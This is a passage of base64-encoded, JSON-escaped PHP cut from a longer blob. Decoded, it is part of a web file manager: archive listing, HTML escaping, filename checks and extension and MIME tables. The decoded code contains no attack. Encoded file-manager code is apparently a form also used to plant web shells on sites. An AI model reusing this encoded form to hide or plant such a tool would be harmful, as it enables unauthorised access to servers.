JiBmdW5jdGlvbl9leGlzdHMoJ3ppcF9vcGVuJykpIHtcbiAgICAgICAgJGFyY2ggPSBAemlwX29wZW4oJHBhdGgpO1xuICAgICAgICBpZiAoJGFyY2gpIHtcbiAgICAgICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICAgICAgd2hpbGUgKCR6aXBfZW50cnkgPSBAemlwX3JlYWQoJGFyY2gpKSB7XG4gICAgICAgICAgICAgICAgJHppcF9uYW1lID0gQHppcF9lbnRyeV9uYW1lKCR6aXBfZW50cnkpO1xuICAgICAgICAgICAgICAgICR6aXBfZm9sZGVyID0gc3Vic3RyKCR6aXBfbmFtZSwgLTEpID09ICdcLyc7XG4gICAgICAgICAgICAgICAgJGZpbGVuYW1lc1tdID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgICAgICdmaWxlc2l6ZScgPT4gQHppcF9lbnRyeV9maWxlc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gQHppcF9lbnRyeV9jb21wcmVzc2Vkc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2ZvbGRlcicgPT4gJHppcF9mb2xkZXJcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQHppcF9jbG9zZSgkYXJjaCk7XG4gICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICAgICAgfVxuICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInICYmIGNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkge1xuICAgICAgICAkYXJjaGl2ZSA9IG5ldyBQaGFyRGF0YSgkcGF0aCk7XG4gICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoIChuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigkYXJjaGl2ZSkgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICRwYXJlbnRfaW5mbyA9ICRmaWxlLT5nZXRQYXRoSW5mbygpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3RyX3JlcGxhY2UoXCJwaGFyOlwvXC9cIiAuICRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3Vic3RyKCR6aXBfbmFtZSwgKCRwb3MgPSBzdHJwb3MoJHppcF9uYW1lLCAnXC8nKSkgIT09IGZhbHNlID8gJHBvcyArIDEgOiAwKTtcbiAgICAgICAgICAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpO1xuICAgICAgICAgICAgJHppcF9pbmZvID0gbmV3IFNwbEZpbGVJbmZvKCRmaWxlKTtcbiAgICAgICAgICAgICRmaWxlbmFtZXNbXSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgJ2ZpbGVzaXplJyA9PiAkemlwX2luZm8tPmdldFNpemUoKSxcbiAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiAkZmlsZS0+Z2V0Q29tcHJlc3NlZFNpemUoKSxcbiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlclxuICAgICAgICAgICAgKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBFbmNvZGUgaHRtbCBlbnRpdGllc1xuICogQHBhcmFtIHN0cmluZyAkdGV4dFxuICogQHJldHVybiBzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2VuYygkdGV4dClcbntcbiAgICByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkdGV4dCwgRU5UX1FVT1RFUywgJ1VURi04Jyk7XG59XG5cblwvKipcbiAqIFByZXZlbnQgWFNTIGF0dGFja3NcbiAqIEBwYXJhbSBzdHJpbmcgJHRleHRcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9pc3ZhbGlkX2ZpbGVuYW1lKCR0ZXh0KVxue1xuICAgIHJldHVybiAoc3RycGJyaygkdGV4dCwgJ1wvPyUqOnxcIjw+JykgPT09IEZBTFNFKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb25cbiAqIEBwYXJhbSBzdHJpbmcgJG1zZ1xuICogQHBhcmFtIHN0cmluZyAkc3RhdHVzXG4gKlwvXG5mdW5jdGlvbiBmbV9zZXRfbXNnKCRtc2csICRzdGF0dXMgPSAnb2snKVxue1xuICAgICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddID0gJG1zZztcbiAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddID0gJHN0YXR1cztcbn1cblxuXC8qKlxuICogQ2hlY2sgaWYgc3RyaW5nIGlzIGluIFVURi04XG4gKiBAcGFyYW0gc3RyaW5nICRzdHJpbmdcbiAqIEByZXR1cm4gaW50XG4gKlwvXG5mdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpXG57XG4gICAgcmV0dXJuIHByZWdfbWF0Y2goJ1wvXC91JywgJHN0cmluZyk7XG59XG5cblwvKipcbiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3NcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fY29udmVydF93aW4oJGZpbGVuYW1lKVxue1xuICAgIGlmIChGTV9JU19XSU4gJiYgZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7XG4gICAgICAgICRmaWxlbmFtZSA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRmaWxlbmFtZSk7XG4gICAgfVxuICAgIHJldHVybiAkZmlsZW5hbWU7XG59XG5cblwvKipcbiAqIEBwYXJhbSAkb2JqXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9vYmplY3RfdG9fYXJyYXkoJG9iailcbntcbiAgICBpZiAoIWlzX29iamVjdCgkb2JqKSAmJiAhaXNfYXJyYXkoJG9iaikpIHtcbiAgICAgICAgcmV0dXJuICRvYmo7XG4gICAgfVxuICAgIGlmIChpc19vYmplY3QoJG9iaikpIHtcbiAgICAgICAgJG9iaiA9IGdldF9vYmplY3RfdmFycygkb2JqKTtcbiAgICB9XG4gICAgcmV0dXJuIGFycmF5X21hcCgnZm1fb2JqZWN0X3RvX2FycmF5JywgJG9iaik7XG59XG5cblwvKipcbiAqIEdldCBDU1MgY2xhc3NuYW1lIGZvciBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7XG5cbiAgICBzd2l0Y2ggKCRleHQpIHtcbiAgICAgICAgY2FzZSAnaWNvJzpcbiAgICAgICAgY2FzZSAnZ2lmJzpcbiAgICAgICAgY2FzZSAnanBnJzpcbiAgICAgICAgY2FzZSAnanBlZyc6XG4gICAgICAgIGNhc2UgJ2pwYyc6XG4gICAgICAgIGNhc2UgJ2pwMic6XG4gICAgICAgIGNhc2UgJ2pweCc6XG4gICAgICAgIGNhc2UgJ3hibSc6XG4gICAgICAgIGNhc2UgJ3dibXAnOlxuICAgICAgICBjYXNlICdwbmcnOlxuICAgICAgICBjYXNlICdibXAnOlxuICAgICAgICBjYXNlICd0aWYnOlxuICAgICAgICBjYXNlICd0aWZmJzpcbiAgICAgICAgY2FzZSAnd2VicCc6XG4gICAgICAgIGNhc2UgJ2F2aWYnOlxuICAgICAgICBjYXNlICdzdmcnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3Bhc3N3ZCc6XG4gICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzpcbiAgICAgICAgY2FzZSAnc3FsJzpcbiAgICAgICAgY2FzZSAnanMnOlxuICAgICAgICBjYXNlICd0cyc6XG4gICAgICAgIGNhc2UgJ2pzeCc6XG4gICAgICAgIGNhc2UgJ3RzeCc6XG4gICAgICAgIGNhc2UgJ2hicyc6XG4gICAgICAgIGNhc2UgJ2pzb24nOlxuICAgICAgICBjYXNlICdzaCc6XG4gICAgICAgIGNhc2UgJ2NvbmZpZyc6XG4gICAgICAgIGNhc2UgJ3R3aWcnOlxuICAgICAgICBjYXNlICd0cGwnOlxuICAgICAgICBjYXNlICdtZCc6XG4gICAgICAgIGNhc2UgJ2dpdGlnbm9yZSc6XG4gICAgICAgIGNhc2UgJ2MnOlxuICAgICAgICBjYXNlICdjcHAnOlxuICAgICAgICBjYXNlICdjcyc6XG4gICAgICAgIGNhc2UgJ3B5JzpcbiAgICAgICAgY2FzZSAncnMnOlxuICAgICAgICBjYXNlICdtYXAnOlxuICAgICAgICBjYXNlICdsb2NrJzpcbiAgICAgICAgY2FzZSAnZHRkJzpcbiAgICAgICAgY2FzZSAncHMxJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1jb2RlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3R4dCc6XG4gICAgICAgIGNhc2UgJ2luaSc6XG4gICAgICAgIGNhc2UgJ2NvbmYnOlxuICAgICAgICBjYXNlICdsb2cnOlxuICAgICAgICBjYXNlICdodGFjY2Vzcyc6XG4gICAgICAgIGNhc2UgJ3lhbWwnOlxuICAgICAgICBjYXNlICd5bWwnOlxuICAgICAgICBjYXNlICd0b21sJzpcbiAgICAgICAgY2FzZSAndG1wJzpcbiAgICAgICAgY2FzZSAndG9wJzpcbiAgICAgICAgY2FzZSAnYm90JzpcbiAgICAgICAgY2FzZSAnZGF0JzpcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnaHRwYXNzd2QnOlxuICAgICAgICBjYXNlICdwbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3MnOlxuICAgICAgICBjYXNlICdsZXNzJzpcbiAgICAgICAgY2FzZSAnc2Fzcyc6XG4gICAgICAgIGNhc2UgJ3Njc3MnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jc3MzJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdiejInOlxuICAgICAgICBjYXNlICd0YnoyJzpcbiAgICAgICAgY2FzZSAndGJ6JzpcbiAgICAgICAgY2FzZSAnemlwJzpcbiAgICAgICAgY2FzZSAncmFyJzpcbiAgICAgICAgY2FzZSAnZ3onOlxuICAgICAgICBjYXNlICd0Z3onOlxuICAgICAgICBjYXNlICd0YXInOlxuICAgICAgICBjYXNlICc3eic6XG4gICAgICAgIGNhc2UgJ3h6JzpcbiAgICAgICAgY2FzZSAndHh6JzpcbiAgICAgICAgY2FzZSAnenN0JzpcbiAgICAgICAgY2FzZSAndHpzdCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtYXJjaGl2ZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdwaHAnOlxuICAgICAgICBjYXNlICdwaHA0JzpcbiAgICAgICAgY2FzZSAncGhwNSc6XG4gICAgICAgIGNhc2UgJ3BocHMnOlxuICAgICAgICBjYXNlICdwaHRtbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNvZGUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2h0bSc6XG4gICAgICAgIGNhc2UgJ2h0bWwnOlxuICAgICAgICBjYXNlICdzaHRtbCc6XG4gICAgICAgIGNhc2UgJ3hodG1sJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaHRtbDUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3htbCc6XG4gICAgICAgIGNhc2UgJ3hzbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtZXhjZWwtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnd2F2JzpcbiAgICAgICAgY2FzZSAnbXAzJzpcbiAgICAgICAgY2FzZSAnbXAyJzpcbiAgICAgICAgY2FzZSAnbTRhJzpcbiAgICAgICAgY2FzZSAnYWFjJzpcbiAgICAgICAgY2FzZSAnb2dnJzpcbiAgICAgICAgY2FzZSAnb2dhJzpcbiAgICAgICAgY2FzZSAnd21hJzpcbiAgICAgICAgY2FzZSAnbWthJzpcbiAgICAgICAgY2FzZSAnZmxhYyc6XG4gICAgICAgIGNhc2UgJ2FjMyc6XG4gICAgICAgIGNhc2UgJ3Rkcyc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdtM3UnOlxuICAgICAgICBjYXNlICdtM3U4JzpcbiAgICAgICAgY2FzZSAncGxzJzpcbiAgICAgICAgY2FzZSAnY3VlJzpcbiAgICAgICAgY2FzZSAneHNwZic6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWhlYWRwaG9uZXMnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2F2aSc6XG4gICAgICAgIGNhc2UgJ21wZyc6XG4gICAgICAgIGNhc2UgJ21wZWcnOlxuICAgICAgICBjYXNlICdtcDQnOlxuICAgICAgICBjYXNlICdtNHYnOlxuICAgICAgICBjYXNlICdmbHYnOlxuICAgICAgICBjYXNlICdmNHYnOlxuICAgICAgICBjYXNlICdvZ20nOlxuICAgICAgICBjYXNlICdvZ3YnOlxuICAgICAgICBjYXNlICdtb3YnOlxuICAgICAgICBjYXNlICdta3YnOlxuICAgICAgICBjYXNlICczZ3AnOlxuICAgICAgICBjYXNlICdhc2YnOlxuICAgICAgICBjYXNlICd3bXYnOlxuICAgICAgICBjYXNlICd3ZWJtJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS12aWRlby1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdlbWwnOlxuICAgICAgICBjYXNlICdtc2cnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1lbnZlbG9wZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICd4bHMnOlxuICAgICAgICBjYXNlICd4bHN4JzpcbiAgICAgICAgY2FzZSAnb2RzJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnc3dwJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtY2xpcGJvYXJkJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdkb2MnOlxuICAgICAgICBjYXNlICdkb2N4JzpcbiAgICAgICAgY2FzZSAnb2R0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3BwdCc6XG4gICAgICAgIGNhc2UgJ3BwdHgnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBvd2VycG9pbnQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAndHRmJzpcbiAgICAgICAgY2FzZSAndHRjJzpcbiAgICAgICAgY2FzZSAnb3RmJzpcbiAgICAgICAgY2FzZSAnd29mZic6XG4gICAgICAgIGNhc2UgJ3dvZmYyJzpcbiAgICAgICAgY2FzZSAnZW90JzpcbiAgICAgICAgY2FzZSAnZm9uJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZm9udCc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncGRmJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1wZGYtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncHNkJzpcbiAgICAgICAgY2FzZSAnYWknOlxuICAgICAgICBjYXNlICdlcHMnOlxuICAgICAgICBjYXNlICdmbGEnOlxuICAgICAgICBjYXNlICdzd2YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWltYWdlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2V4ZSc6XG4gICAgICAgIGNhc2UgJ21zaSc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmF0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGRlZmF1bHQ6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJztcbiAgICB9XG5cbiAgICByZXR1cm4gJGltZztcbn1cblxuXC8qKlxuICogR2V0IGltYWdlIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoJ2ljbycsICdnaWYnLCAnanBnJywgJ2pwZWcnLCAnanBjJywgJ2pwMicsICdqcHgnLCAneGJtJywgJ3dibXAnLCAncG5nJywgJ2JtcCcsICd0aWYnLCAndGlmZicsICdwc2QnLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpO1xufVxuXG5cLyoqXG4gKiBHZXQgdmlkZW8gZmlsZXMgZXh0ZW5zaW9uc1xuICogQHJldHVybiBhcnJheVxuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X3ZpZGVvX2V4dHMoKVxue1xuICAgIHJldHVybiBhcnJheSgnYXZpJywgJ3dlYm0nLCAnd212JywgJ21wNCcsICdtNHYnLCAnb2dtJywgJ29ndicsICdtb3YnLCAnbWt2Jyk7XG59XG5cblwvKipcbiAqIEdldCBhdWRpbyBmaWxlcyBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfYXVkaW9fZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCd3YXYnLCAnbXAzJywgJ29nZycsICdtNGEnKTtcbn1cblxuXC8qKlxuICogR2V0IHRleHQgZmlsZSBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICd0eHQnLFxuICAgICAgICAnY3NzJyxcbiAgICAgICAgJ2luaScsXG4gICAgICAgICdjb25mJyxcbiAgICAgICAgJ2xvZycsXG4gICAgICAgICdodGFjY2VzcycsXG4gICAgICAgICdwYXNzd2QnLFxuICAgICAgICAnZnRwcXVvdGEnLFxuICAgICAgICAnc3FsJyxcbiAgICAgICAgJ2pzJyxcbiAgICAgICAgJ3RzJyxcbiAgICAgICAgJ2pzeCcsXG4gICAgICAgICd0c3gnLFxuICAgICAgICAnbWpzJyxcbiAgICAgICAgJ2pzb24nLFxuICAgICAgICAnc2gnLFxuICAgICAgICAnY29uZmlnJyxcbiAgICAgICAgJ3BocCcsXG4gICAgICAgICdwaHA0JyxcbiAgICAgICAgJ3BocDUnLFxuICAgICAgICAncGhwcycsXG4gICAgICAgICdwaHRtbCcsXG4gICAgICAgICdodG0nLFxuICAgICAgICAnaHRtbCcsXG4gICAgICAgICdzaHRtbCcsXG4gICAgICAgICd4aHRtbCcsXG4gICAgICAgICd4bWwnLFxuICAgICAgICAneHNsJyxcbiAgICAgICAgJ20zdScsXG4gICAgICAgICdtM3U4JyxcbiAgICAgICAgJ3BscycsXG4gICAgICAgICdjdWUnLFxuICAgICAgICAnYmFzaCcsXG4gICAgICAgICd2dWUnLFxuICAgICAgICAnZW1sJyxcbiAgICAgICAgJ21zZycsXG4gICAgICAgICdjc3YnLFxuICAgICAgICAnYmF0JyxcbiAgICAgICAgJ3R3aWcnLFxuICAgICAgICAndHBsJyxcbiAgICAgICAgJ21kJyxcbiAgICAgICAgJ2dpdGlnbm9yZScsXG4gICAgICAgICdsZXNzJyxcbiAgICAgICAgJ3Nhc3MnLFxuICAgICAgICAnc2NzcycsXG4gICAgICAgICdjJyxcbiAgICAgICAgJ2NwcCcsXG4gICAgICAgICdjcycsXG4gICAgICAgICdweScsXG4gICAgICAgICdnbycsXG4gICAgICAgICd6c2gnLFxuICAgICAgICAnc3dpZnQnLFxuICAgICAgICAnbWFwJyxcbiAgICAgICAgJ2xvY2snLFxuICAgICAgICAnZHRkJyxcbiAgICAgICAgJ3N2ZycsXG4gICAgICAgICdhc3AnLFxuICAgICAgICAnYXNweCcsXG4gICAgICAgICdhc3gnLFxuICAgICAgICAnYXNteCcsXG4gICAgICAgICdhc2h4JyxcbiAgICAgICAgJ2pzcCcsXG4gICAgICAgICdqc3B4JyxcbiAgICAgICAgJ2NnaScsXG4gICAgICAgICdkb2NrZXJmaWxlJyxcbiAgICAgICAgJ3J1YnknLFxuICAgICAgICAneW1sJyxcbiAgICAgICAgJ3lhbWwnLFxuICAgICAgICAndG9tbCcsXG4gICAgICAgICd2aG9zdCcsXG4gICAgICAgICdzY3B0JyxcbiAgICAgICAgJ2FwcGxlc2NyaXB0JyxcbiAgICAgICAgJ2NzeCcsXG4gICAgICAgICdjc2h0bWwnLFxuICAgICAgICAnYysrJyxcbiAgICAgICAgJ2NvZmZlZScsXG4gICAgICAgICdjZm0nLFxuICAgICAgICAncmInLFxuICAgICAgICAnZ3JhcGhxbCcsXG4gICAgICAgICdtdXN0YWNoZScsXG4gICAgICAgICdqaW5qYScsXG4gICAgICAgICdodHRwJyxcbiAgICAgICAgJ2hhbmRsZWJhcnMnLFxuICAgICAgICAnamF2YScsXG4gICAgICAgICdlcycsXG4gICAgICAgICdlczYnLFxuICAgICAgICAnbWFya2Rvd24nLFxuICAgICAgICAnd2lraScsXG4gICAgICAgICd0bXAnLFxuICAgICAgICAndG9wJyxcbiAgICAgICAgJ2JvdCcsXG4gICAgICAgICdkYXQnLFxuICAgICAgICAnYmFrJyxcbiAgICAgICAgJ2h0cGFzc3dkJyxcbiAgICAgICAgJ3BsJyxcbiAgICAgICAgJ3BzMSdcbiAgICApO1xufVxuXG5cLyoqXG4gKiBHZXQgbWltZSB0eXBlcyBvZiB0ZXh0IGZpbGVzXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9taW1lcygpXG57XG4gICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAnYXBwbGljYXRpb25cL3htbCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwvamF2YXNjcmlwdCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwveC1qYXZhc2NyaXB0JyxcbiAgICAgICAgJ2ltYWdlXC9zdmcreG1sJyxcbiAgICAgICAgJ21lc3NhZ2VcL3JmYzgyMicsXG4gICAgICAgICdhcHBsaWNhdGlvblwvanNvbicsXG4gICAgKTtcbn1cblxuXC8qKlxuICogR2V0IGZpbGUgbmFtZXMgb2YgdGV4dCBmaWxlcyB3XC9vIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF90ZXh0X25hbWVzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICdsaWNlbnNlJyxcbiAgICAgICAgJ3JlYWRtZScsXG4gICAgICAgICdhdXRob3JzJyxcbiAgICAgICAgJ2NvbnRyaWJ1dG9ycycsXG4gICAgICAgICdjaGFuZ2Vsb2cnLFxuICAgICk7XG59XG5cblwvKipcbiAqIEdldCBvbmxpbmUgZG9jcyB2aWV3ZXIgc3VwcG9ydGVkIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9vbmxpbmVWaWV3ZXJfZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCdkb2MnLCAnZG9jeCcsICd4bHMnLCAneGxzeCcsICdwZGYnLCAncHB0JywgJ3BwdHgnLCAnYWknLCAncHNkJywgJ2R4ZicsICd4cHMnLCAncmFyJywgJ29kdCcsICdvZHMnKTtcbn1cblxuXC8qKlxuICogSXQgcmV0dXJucyB0aGUgbWltZSB0eXBlIG9mIGEgZmlsZSBiYXNlZCBvbiBpdHMgZXh0ZW5zaW9uLlxuICogQHBhcmFtIGV4dGVuc2lvbiBUaGUgZmlsZSBleHRlbnNpb24gb2YgdGhlIGZpbGUgeW91IHdhbnQgdG8gZ2V0IHRoZSBtaW1lIHR5cGUgZm9yLlxuICogQHJldHVybiBzdHJpbmd8c3RyaW5nW10gVGhlIG1pbWUgdHlwZSBvZiB0aGUgZmlsZS5cbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9maWxlX21pbWVzKCRleHRlbnNpb24pXG57XG4gICAgJGZpbGVUeXBlc1snc3dmJ10gPSAnYXBwbGljYXRpb25cL3gtc2hvY2t3YXZlLWZsYXNoJztcbiAgICAkZmlsZVR5cGVzWydwZGYnXSA9ICdhcHBsaWNhdGlvblwvcGRmJztcbiAgICAkZmlsZVR5cGVzWydleGUnXSA9ICdhcHBsaWNhdGlvblwvb2N0ZXQtc3RyZWFtJztcbiAgICAkZmlsZVR5cGVzWyd6aXAnXSA9ICdhcHBsaWNhdGlvblwvemlwJztcbiAgICAkZmlsZVR5cGVzWydkb2MnXSA9ICdhcHBsaWNhdGlvblwvbXN3b3JkJztcbiAgICAkZmlsZVR5cGVzWyd4bHMnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLWV4Y2VsJztcbiAgICAkZmlsZVR5cGVzWydwcHQnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLXBvd2VycG9pbnQnO1xuICAgICRmaWxlVHlwZXNbJ2dpZiddID0gJ2ltYWdlXC9naWYnO1xuICAgICRmaWxlVHlwZXNbJ3BuZyddID0gJ2ltYWdlXC9wbmcnO1xuICAgICRmaWxlVHlwZXNbJ2pwZWcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWydqcGcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWyd3ZWJwJ10gPSAnaW1hZ2VcL3dlYnAnO1xuICAgICRmaWxlVHlwZXNbJ2F2aWYnXSA9ICdpbWFnZVwvYXZpZic7XG4gICAgJGZpbGVUeXBlc1sncmFyJ10gPSAnYXBwbGljYXRpb25cL3Jhcic7XG5cbiAgICAkZmlsZVR5cGVzWydyYSddID0gJ2F1ZGlvXC94LXBuLXJlYWxhdWRpbyc7XG4gICAgJGZpbGVUeXBlc1sncmFtJ10gPSAnYXVkaW9cL3gtcG4tcmVhbGF1ZGlvJztcbiAgICAkZmlsZVR5cGVzWydvZ2cnXSA9ICdhdWRpb1wveC1wbi1yZWFsYXVkaW8nO1xuXG4gICAgJGZpbGVUeXBlc1snd2F2J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snd212J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXZpJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXNmJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snZGl2eCddID0gJ3ZpZGVvXC94LW1zdmlkZW8nO1xuXG4gICAgJGZpbGVUeXBlc1snbXAzJ10gPSAnYXVkaW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wNCddID0gJ3ZpZGVvXC9tcDQnO1xuICAgICRmaWxlVHlwZXNbJ21wZWcnXSA9ICd2aWRlb1wvbXBlZyc7XG4gICAgJGZpbGVUeXBlc1snbXBnJ10gPSAndmlkZW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wZSddID0gJ3ZpZGVvXC9tcGVnJztcbiAgICAkZmlsZVR5cGVzWydtb3YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydzd2YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWyczZ3AnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcb